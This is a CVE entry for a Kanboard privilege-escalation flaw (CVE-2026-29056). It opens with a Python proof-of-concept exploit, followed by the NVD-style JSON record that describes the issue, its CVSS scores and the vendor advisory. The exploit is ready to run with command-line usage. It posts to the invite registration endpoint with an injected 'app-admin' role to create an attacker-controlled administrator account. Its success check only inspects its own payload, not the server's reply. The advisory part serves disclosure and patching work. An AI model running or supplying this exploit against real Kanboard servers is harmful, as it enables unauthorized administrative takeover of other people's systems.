CVE-2026-29056

import requests import sys # CVE-2026-29056 PoC - Kanboard Privilege Escalation via Role Injection # Target: Kanboard < 1.2.51 def exploit_kanboard(target_url, invite_token, attacker_email): """ Exploit privilege escalation in Kanboard user invite registration. Args: target_url: Base URL of the Kanboard instance invite_token: Valid invitation token from invite link attacker_email: Email address for the new admin account """ # Registration endpoint with invite token register_url = f"{target_url}/?controller=UserInviteController&action=register&token={invite_token}" # Malicious payload: inject admin role during registration # This exploits the lack of role parameter filtering in UserModel::create() payload = { 'name': 'Malicious Admin', 'email': attacker_email, 'password': 'P@ssw0rd123!', 'password_confirmation': 'P@ssw0rd123!', 'role': 'app-admin' # Privilege escalation: inject admin role } try: response = requests.post(register_url, data=payload, timeout=30) if response.status_code == 200: if 'admin' in payload['role']: print(f"[+] SUCCESS: Admin account created for {attacker_email}") print(f"[+] Login URL: {target_url}/?controller=AuthController&action=login") return True else: print(f"[-] Failed: HTTP {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False if __name__ == '__main__': if len(sys.argv) != 4: print(f"Usage: python {sys.argv[0]} <target_url> <invite_token> <email>") print(f"Example: python {sys.argv[0]} http://target.com abc123def456 [email protected]") sys.exit(1) exploit_kanboard(sys.argv[1], sys.argv[2], sys.argv[3])

{"cve": {"id": "CVE-2026-29056", "sourceIdentifier": "[email protected]", "published": "2026-03-18T02:16:24.407", "lastModified": "2026-03-18T19:40:48.907", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Kanboard is project management software focused on Kanban methodology. Prior to 1.2.51, Kanboard's user invite registration endpoint (`UserInviteController::register()`) accepts all POST parameters and passes them to `UserModel::create()` without filtering out the `role` field. An attacker who receives an invite link can inject `role=app-admin` in the registration form to create an administrator account. Version 1.2.51 fixes the issue."}, {"lang": "es", "value": "Kanboard es un software de gestión de proyectos centrado en la metodología Kanban. Antes de la versión 1.2.51, el endpoint de registro de invitación de usuario de Kanboard (UserInviteController::register()) aceptaba todos los parámetros POST y los pasaba a UserModel::create() sin filtrar el campo role. Un atacante que recibe un enlace de invitación puede inyectar role=app-admin en el formulario de registro para crear una cuenta de administrador. La versión 1.2.51 corrige el problema."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:H/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-915"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:kanboard:kanboard:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.2.51", "matchCriteriaId": "072A459D-CB3E-4256-ACB0-F83BE3E0B89A"}]}]}], "references": [{"url": "https://github.com/kanboard/kanboard/security/advisories/GHSA-2jvj-q44v-6p3x", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/kanboard/kanboard/security/advisories/GHSA-2jvj-q44v-6p3x", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}